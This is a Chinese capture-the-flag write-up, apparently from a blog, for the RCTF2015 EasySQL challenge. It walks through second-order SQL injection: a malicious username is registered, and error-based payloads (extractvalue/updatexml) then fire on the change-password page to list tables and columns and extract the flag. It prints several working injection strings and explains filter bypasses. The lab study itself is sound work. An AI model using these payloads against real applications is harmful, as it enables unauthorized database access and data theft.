BUUCTF_Web([RCTF2015]EasySQL)二次注入+报错注入

做题知识点:

二次注入

二次注入是一次注入通过两次操作实现,注册和登陆。

  1. 注册恶意用户名

  2. 登陆, 在登陆过程中,肯定要将我们输入的数据和数据库进行比对,而在这个``查询数据库中的用户名进行比对的这个过程中,会执行我们插入数据库的用户名(也就是恶意sql注入语句)

题目: 只有登录和注册两个选项。

1.尝试注册

输入admin 123 1

显示用户存在。

2.尝试登录

输入admin'# 123 ( #注释掉后面的,不用管密码)

登录错误。

3.尝试修改密码

输入admin'# #注释掉后面的,不用管密码

点admin'#

点change password,修改密码。

发现没用,,,

4. 报错注入

使用Burp关键字过滤:

(在注册界面使用报错注入然后点击修改密码才会有回显说明这是二次注入,并且payload必须在用户名位置在注册界面

尝试时发现and、order等部分关键词被过滤,extractvalue和updatexml这样的报错注入关键字未被注释,我们可以利用username进行报错注入。

1.查看数据库表名

admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#

有三个article,flag,users表名

2.1 查看flag表中列名(详细步骤)

二次注入:注册 --> 登录

报错注入:(在用户名位置的注册界面输入报错语句)

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#

详细步骤:

注册

登录

登录成功后页面

点用户名

修改密码页面 (密码随便输)

页面显现

一个列flag
查看 flag中内容

admin"||extractvalue(1,concat(0x7e,(select(flag)from(flag))))#

(步骤同上,得)发现不是真正的flag。

2.2使用users表查列名

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))# (不知道是哪里出错了,可能某个关键字被过滤,本语句不对)

admin"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

发现了flag所在的真正位置real_flag_1s_here。但发现here只显示了her,未完全显示,这是因为 extractvalue 和 updatexml最多只能显示32位数字,我们可以使用 reverse()函数,将报错回显的结果倒置,以此来查看末尾未显示的信息。

admin"||extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#

有七个列名。
查找real_flag_1s_her'列名

admin"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

发现flag只有一部分,因为right、left、mid等函数均被过滤,因此使用reverse函数

admin"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

倒置输出 (使用python脚本)

python 复制代码
letter_num = input('}de45611d9636-8c9b-f884-d0d8-9d')  # 直接获取输入
def convert_order():
    reversed_string = letter_num[::-1]  # 使用切片进行倒序
    print(reversed_string)  # 直接打印倒序的结果
convert_order()

得flag{b795edd9-8d0d-488f-b9c8-6369d11654ed}

参考链接:

[RCTF2015]EasySQL1 题目分析与详解

[RCTF2015]EasySQL(详细)

相关推荐
冬天vs不冷4 小时前
面试必知必会(14):MySQL执行计划与SQL优化
sql·mysql·面试
lifewange10 小时前
afinfo 表设计
数据库·sql·mysql
Irene199110 小时前
SQL Developer 连接类型 (Connection Type) :SID 和 Service Name的区别
数据库·sql·连接方式
怀后同学.12 小时前
SQL注入之堆叠注入和绕过WAF
数据库·sql
Irene199112 小时前
PL/SQL:变量使用 两个连续的外部输入 注意事项
数据库·sql
学网安的肆伍1 天前
【043-WEB攻防篇】PHP应用&SQL注入&符号拼接&请求方法&HTTP头&JSON&编码类
sql·安全·php
Shan12051 天前
站在计算机领域视角看:SQL注入攻击
网络·数据库·sql
轻刀快马1 天前
别干背八股文了:从一场“双十一秒杀”惨案,看懂 InnoDB 事务、锁与索引的底层齿轮
数据库·sql
山峰哥1 天前
SQL性能提升20倍的秘密:这些优化技巧让DBA都惊叹
开发语言·数据库·sql·编辑器·深度优先·宽度优先
kumat2 天前
分享-搭建个人系统 MySelfSys
sql·系统